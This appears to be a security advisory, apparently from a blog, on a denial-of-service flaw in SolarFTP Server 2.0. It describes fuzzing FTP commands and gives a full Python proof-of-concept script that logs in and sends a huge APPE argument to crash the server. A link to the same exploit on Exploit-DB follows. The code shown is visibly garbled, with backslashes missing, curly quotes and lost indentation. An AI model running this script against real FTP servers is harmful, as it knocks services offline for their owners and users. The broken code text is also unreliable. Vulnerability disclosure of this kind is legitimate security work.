SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability

SolarFTP Server 2.0 is prone to a denial of service condition. It fails to properly sanitize user-supplied input resulting in a denial of service. With a specially crafted ‘USER’, ‘APPE’, ‘GET’, ‘PUT’, and ‘NLST’ command, a remote attacker can potentially disable the FTP service.

Software Description

Solar FTP Server is a handy and easy to use personal FTP server with features like virtual directories, simple and intuitive user interface, real-time activity monitoring and management.

Testing and Fuzzing

Using Very Simple FTP Fuzzer, we test the FTP server with various commands. The first command that we sent was APPE (append). The Windows exception handler pop out. That was verify that the server may be vulnerable to some commands.

Unfortunately, the junk that we sent did not overwrite the SEH nor the EIP. It just end in Denial of Service. In conclusion, there are 4 commands which make the server crash, APPE, NLST, PUT, and GET.

The PoC

Here are the python script for the PoC.

#!/usr/bin/python

# Exploit Title: SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability
# Date: 12/17/2010
# Author: modpr0be
# Software Link: http://www.solarftp.com/files/solarftps-setup.exe
# Vulnerable version: 2.0
# Tested on: Windows XP SP2, Windows XP SP3
# CVE : N/A
#
# ======================================================================
# ___ _ __ __ __ _ __
# ____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _
# / __ / / __ `/ / __/ __ `/ / / _ / ___/ __ / / __ / __ / __ `/
# / /_/ / / /_/ / / /_/ /_/ / / / __/ /__/ / / / / /_/ / / / / /_/ /
# __,_/_/__, /_/__/__,_/_/ ___/___/_/ /_/_/__,_/_/ /_/__,_/
# /____/ http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
# say hello to all digital-echidna org crew:
# otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
# special thx to amalia (^^), oebaj, offsec, exploit-db, corelan team
#
#### Software description:
# Solar FTP Server is a handy and easy to use personal FTP server with
# features like virtual directories, simple and intuitive user interface,
# real-time activity monitoring and management.
#
#### Exploit information:
# SolarFTP 2.0 will suddenly stop (crash) while these commands were sent:
# APPE, GET, PUT, NLST, and MDTM
# Sending USER with junk also crashing the Admin Configuration but not the service.
# Stack contains our junk in random. Both EIP and SEH were not overwritten.
#
#### Other information:
# 12/10/2010 – vendor contacted
# 12/17/2010 – no response, advisory released

import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

junk = "x41" * 80000

def banner():
print "nSolarFTP 2.0 Multiple Commands Denial of Service Vulnerability."
print "By: modpr0be (modpr0be[at]digital-echidna[dot]org)n"

if len(sys.argv)!=4:
banner()
print "Usage: %s
n" %sys.argv[0]
sys.exit(0)

try:
s.connect((sys.argv[1], 21))
except:
print "Can’t connect to server!n"
sys.exit(0)

s.recv(1024)
s.send(‘USER ‘+sys.argv[2]+’rn’)
s.recv(1024)
s.send(‘PASS ‘+sys.argv[3]+’rn’)
s.recv(1024)
s.send(‘APPE ‘+junk+’rn’)
s.recv(1024)
s.close()

Or you can download at Exploit-DB from the link below:
http://www.exploit-db.com/exploits/15750/

Fix and Update

Download the latest version from SolarFTP website.